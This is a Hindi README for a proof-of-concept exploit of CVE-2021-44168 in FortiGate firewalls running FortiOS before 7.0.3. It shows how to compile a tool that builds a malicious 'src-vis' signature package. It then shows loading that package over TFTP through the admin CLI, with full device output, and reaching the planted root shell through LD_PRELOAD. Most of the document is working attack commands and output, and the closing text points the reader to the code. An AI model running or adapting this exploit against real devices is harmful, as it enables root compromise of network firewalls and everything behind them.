
FortiOS 7.0.3 से पहले के संस्करणों में "execute restore src-vis" कमांड में अखंडता जांच के बिना कोड डाउनलोड करने की कमजोरी।
CVE-2021-44168 का शोषण करके Fortigate फ़ायरवॉल पर एक शेल ड्रॉप करें और LD_PRELOAD ट्रिक्स के माध्यम से इसकी पहुँच सक्षम करें, जो Fortigate के कुछ CLI कमांड चलाने पर निष्पादित होती हैं। आपको एक रूट शेल मिलता है।
संकलन:
gcc -o gen_src-vis_pkg_file gen_src-vis_pkg_file.c -lz
चलाएँ:
% ./gen_src-vis_pkg_file
./gen_src-vis_pkg_file [ -t | -p ] filename.img
-t परीक्षण पैकेज बनाएँ, या
-p pwn पैकेज बनाएँ।
filename.img इस फ़ाइल में लिखें।
परीक्षण मोड Fortigate के फ़ाइलसिस्टम की जड़ में pwned.txt नामक एक फ़ाइल डालता है। इस प्रकार एक परीक्षण पैकेज बनाएँ:
% ./gen_src-vis_pkg_file -t test.img
[+] Generaing TEST package
[+] Reading test.tar for insertion into package file test.img
[+] Compressing test.tar (10240 bytes)
[+] Compressed size: 115
[+] Build pkg_header
[+] pkg_header crc32: 0x16a384f1
[+] Build obj_header
[+] Using CIDB for obj_type
[+] obj_data crc32: 0xe097e419
[+] obj_header crc32: 0xabdfc3cb
[+] Write pkg_header + obj_header + obj_data > test.img
[+] All done. So long and thanks for all the fish!
शोषण मोड एक पेलोड पैकेज बनाता है जो FortiGate पर एक शेल ड्रॉप करता है और LD_PRELOAD ट्रिक्स के माध्यम से इसे सक्षम करता है। शोषण पैकेज उत्पन्न करने के लिए, शोषण को इस प्रकार चलाएँ:
% ./gen_src-vis_pkg_file -p pwn.img
[+] Generaing EXPLOIT package
[+] Reading pwn.tar for insertion into package file pwn.img
[+] Compressing pwn.tar (16465920 bytes)
[+] Compressed size: 6843825
[+] Build pkg_header
[+] pkg_header crc32: 0xd657d879
[+] Build obj_header
[+] Using CIDB for obj_type
[+] obj_data crc32: 0xf373554b
[+] obj_header crc32: 0x3a7fdcd7
[+] Write pkg_header + obj_header + obj_data > pwn.img
[+] All done. So long and thanks for all the fish!
FortiGate एडमिन CLI से:
FortiGate # execute restore src-vis tftp pwn.img 192.168.100.1
This operation will overwrite the current source visibility signatures!
Do you want to continue? (y/n)y
Please wait...
Connect to tftp server 192.168.100.1 ...
######
Get source visibility signatures from tftp server OK.
upd_manual_cid[255]-Updating src-vis plugin
doInstallUpdatePackage[981]-Full obj found for CIDB000
doInstallUpdatePackage[991]-Updating obj CIDB
installUpdateObject[323]-Step 1:Unpack obj 29, Total=1, cur=0
installUpdateObject[352]-Step 2:Prepare temp file for obj 29
installUpdObjRest[637]-Step 5:Backup /etc/cid.tar.gz->/tmp/update.backup
installUpdObjRest[651]-Step 6:Copy new object /tmp/updPiMCON->/etc/cid.tar.gz
installUpdObjRest[731]-Step 7:Validate object
installUpdObjRest[755]-Step 8:Re-initialize using new obj file
installUpdObjRest[767]-Step 9:Delete backup /tmp/update.backup
cid svr 13 req 4
__update_status[1181]-CIDB000 installed successfully
upd_status_save_status[114]-try to save on status file
upd_status_save_status[179]-Wrote status file
upd_manual_cid[284]-Update successful
./../../../../../data2/bfbin/rdate: Cannot create symlink to '/data2/bfbin/busybox'Error exit delayed from previous errorsupd_cfg_extract_unpacked2
upd_cfg_extract_cid_db_version[554]-version=06000000CIDB00000-00000.00000-0101010000
cid could not install sigs: version failed
FortiGate #
इस बिंदु पर आपके पास एक शेल होगा जो Linux पर शेल आउट करने वाले CLI कमांड पर LD_PRELOAD के माध्यम से सुलभ होगा। नए ड्रॉप किए गए शेल को सक्रिय करने का एक ऐसा तरीका:
# fnsysctl ls
/ #
/ # export PATH=/data2/bfbin:/bin
/ # uname -a
Linux FortiGate 3.2.16 #2 SMP Thu Mar 28 02:54:46 UTC 2019 x86_64 GNU/Linux
TBD. अभी के लिए कोड पढ़ें।